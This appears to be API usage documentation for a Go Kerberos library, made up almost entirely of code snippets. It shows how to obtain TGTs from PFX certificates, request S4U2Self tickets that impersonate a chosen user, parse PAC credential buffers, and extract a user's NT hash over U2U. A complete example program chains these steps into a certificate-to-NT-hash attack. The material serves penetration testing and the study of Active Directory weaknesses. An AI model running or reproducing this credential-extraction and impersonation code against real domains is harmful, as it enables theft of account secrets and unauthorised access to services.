import "github.com/ineffectivecoder/gopkinit/pkg/pkinit"

// Create client from PFX file
client, err := pkinit.NewFromPFX("user.pfx", "password")
if err != nil {
    log.Fatal(err)
}

// Or create client from PFX bytes (useful for embedded certs)
pfxData, _ := os.ReadFile("user.pfx")
client, err := pkinit.NewFromPFXData(pfxData, "password")

// Request TGT from KDC
// Parameters: domain, username, kdcAddress, proxyAddress (empty for no proxy)
result, err := client.GetTGT("DOMAIN.COM", "username", "dc.domain.com", "")
if err != nil {
    log.Fatal(err)
}

// Access results
fmt.Printf("AS-REP Key: %s\n", result.ASRepKey)        // Hex string, needed for getnthash
fmt.Printf("Session Key Type: %d\n", result.SessionKey.KeyType)
fmt.Printf("Ticket Realm: %s\n", result.Realm)

// Access the certificate info
cert := client.GetCertificate()
fmt.Printf("Certificate Subject: %s\n", cert.Subject.CommonName)
fmt.Printf("Issuer: %s\n", client.GetIssuer())

import "github.com/ineffectivecoder/gopkinit/pkg/s4u"

// Create client from ccache file containing a TGT
client, err := s4u.NewS4U2SelfClient("admin.ccache", "dc.domain.com")
if err != nil {
    log.Fatal(err)
}

// Request impersonated service ticket
// Parameters: targetUser, targetRealm, serviceName, serviceRealm, outputPath
err = client.GetS4U2SelfTicket(
    "targetuser",           // User to impersonate
    "DOMAIN.COM",           // Target user's realm
    "cifs/fileserver",      // Service principal name
    "DOMAIN.COM",           // Service realm
    "impersonated.ccache",  // Output file
)
if err != nil {
    // Error 16 (KDC_ERR_PADATA_TYPE_NOSUPP) indicates delegation not enabled
    log.Fatal(err)
}

fmt.Println("Impersonated ticket saved to impersonated.ccache")

import (
    "encoding/hex"
    "github.com/ineffectivecoder/gopkinit/pkg/u2u"
)

// Decode AS-REP key from gettgtpkinit output
asrepKey, _ := hex.DecodeString("c0ffee1234567890abcdef1234567890c0ffee1234567890abcdef1234567890")

// Create U2U client
client, err := u2u.NewU2UClient("user.ccache", "dc.domain.com", asrepKey)
if err != nil {
    log.Fatal(err)
}

// Extract NT hash
ntHash, err := client.GetNTHash()
if err != nil {
    // Common errors:
    // - "PAC_CREDENTIAL_INFO not found" = TGT not from PKINIT
    // - "failed to decrypt PAC credentials" = wrong AS-REP key
    log.Fatal(err)
}

fmt.Printf("NT Hash: %x\n", ntHash)

import "github.com/ineffectivecoder/gopkinit/pkg/ccache"

// Write a ccache file
err := ccache.WriteCCache(
    "output.ccache",
    ticket,          // messages.Ticket
    encPart,         // messages.EncKDCRepPart
    sessionKey,      // types.EncryptionKey
    "DOMAIN.COM",    // realm
    principalName,   // types.PrincipalName
)

// Read a ccache file
cc, err := ccache.ReadCCache("input.ccache")
if err != nil {
    log.Fatal(err)
}

// Access default principal
fmt.Printf("Principal: %s@%s\n",
    strings.Join(cc.DefaultPrincipal.Components, "/"),
    cc.DefaultPrincipal.Realm)

// Get TGT from ccache
tgt, err := cc.GetTGT()
if err != nil {
    log.Fatal("No TGT in ccache")
}

// Access TGT details
fmt.Printf("TGT expires: %s\n", tgt.EndTime)
fmt.Printf("Session key type: %d\n", tgt.Key.KeyType)

// Convert to gokrb5 Ticket for use with other operations
ticket, err := tgt.ToTicket()

// Convert principal for use with gokrb5
principalName := tgt.Client.ToPrincipalName()

import "github.com/ineffectivecoder/gopkinit/pkg/krb"

// Create KDC client
client := krb.NewKDCClient("dc.domain.com")

// Optional: Configure SOCKS5 proxy
client.SetProxy("127.0.0.1:1080")

// Send AS-REQ and get AS-REP
asRepBytes, err := client.SendASReq(asReqBytes)
if err != nil {
    log.Fatal(err)
}

// Send TGS-REQ and get TGS-REP
tgsRepBytes, err := client.SendTGSReq(tgsReqBytes)

// Parse responses
asRep, err := krb.ParseASRep(asRepBytes)
tgsRep, err := krb.ParseTGSRep(tgsRepBytes)

// Decrypt TGS-REP encrypted part
encPart, err := krb.DecryptTGSRep(tgsRep, sessionKey)

// Build TGS-REQ for service tickets
tgsReq := &krb.TGSRequest{
    Realm:      "DOMAIN.COM",
    CName:      clientPrincipal,
    TGT:        tgtTicket,
    SessionKey: sessionKey,
    SName:      servicePrincipal,
    SRealm:     "DOMAIN.COM",
}
reqBytes, err := tgsReq.BuildTGSReq()

import "github.com/ineffectivecoder/gopkinit/pkg/pac"

// Parse PAC from authorization data
pacStruct, err := pac.ParsePAC(pacData)
if err != nil {
    log.Fatal(err)
}

// Find specific buffer types
credBuf := pacStruct.FindBuffer(pac.PACTypeCredentials)         // Type 2
logonBuf := pacStruct.FindBuffer(pac.PACTypeKerbValidationInfo) // Type 1
clientBuf := pacStruct.FindBuffer(pac.PACTypeClientInfo)        // Type 10

// Parse PAC_CREDENTIAL_INFO (for PKINIT TGTs)
if credBuf != nil {
    credInfo, err := pac.ParseCredentialInfo(credBuf.Data)
    fmt.Printf("Encryption Type: %d\n", credInfo.EncryptionType)

    // Decrypt and parse credential data
    decrypted, _ := crypto.DecryptMessage(credInfo.SerializedData, key, 16)
    credData, err := pac.ParseCredentialData(decrypted)

    for _, cred := range credData.Credentials {
        fmt.Printf("NT Hash: %x\n", cred.NTPassword)
    }
}

import "github.com/ineffectivecoder/gopkinit/pkg/cert"

// Load from file
bundle, err := cert.LoadPFX("user.pfx", "password")
if err != nil {
    log.Fatal(err)
}

// Load from bytes
pfxData, _ := os.ReadFile("user.pfx")
bundle, err := cert.LoadPFXData(pfxData, "password")

// Access certificate bundle
fmt.Printf("Subject: %s\n", bundle.Certificate.Subject.CommonName)
fmt.Printf("Issuer: %s\n", bundle.Issuer)
fmt.Printf("Not After: %s\n", bundle.Certificate.NotAfter)

// Use private key for signing
signer := bundle.PrivateKey.(crypto.Signer)

package main

import (
    "encoding/hex"
    "fmt"
    "log"

    "github.com/ineffectivecoder/gopkinit/pkg/pkinit"
    "github.com/ineffectivecoder/gopkinit/pkg/u2u"
)

func main() {
    // Step 1: Get TGT using PKINIT
    client, err := pkinit.NewFromPFX("user.pfx", "password")
    if err != nil {
        log.Fatalf("Failed to load certificate: %v", err)
    }

    result, err := client.GetTGT("DOMAIN.COM", "user", "dc.domain.com", "")
    if err != nil {
        log.Fatalf("Failed to get TGT: %v", err)
    }
    fmt.Printf("Got TGT, AS-REP key: %s\n", result.ASRepKey)

    // Step 2: Save TGT to ccache (gettgtpkinit does this for you)
    // For library usage, you'd call ccache.WriteCCache here

    // Step 3: Extract NT hash using U2U
    // Note: In practice, you'd read from the ccache file
    asrepKey, _ := hex.DecodeString(result.ASRepKey)
    u2uClient, err := u2u.NewU2UClient("user.ccache", "dc.domain.com", asrepKey)
    if err != nil {
        log.Fatalf("Failed to create U2U client: %v", err)
    }

    ntHash, err := u2uClient.GetNTHash()
    if err != nil {
        log.Fatalf("Failed to get NT hash: %v", err)
    }

    fmt.Printf("Recovered NT Hash: %x\n", ntHash)
}

require (
    github.com/jcmturner/gokrb5/v8           // Kerberos structures
    software.sslmate.com/src/go-pkcs12       // PKCS12 parsing
    golang.org/x/net/proxy                   // SOCKS5 support
    golang.org/x/crypto                      // Crypto primitives
)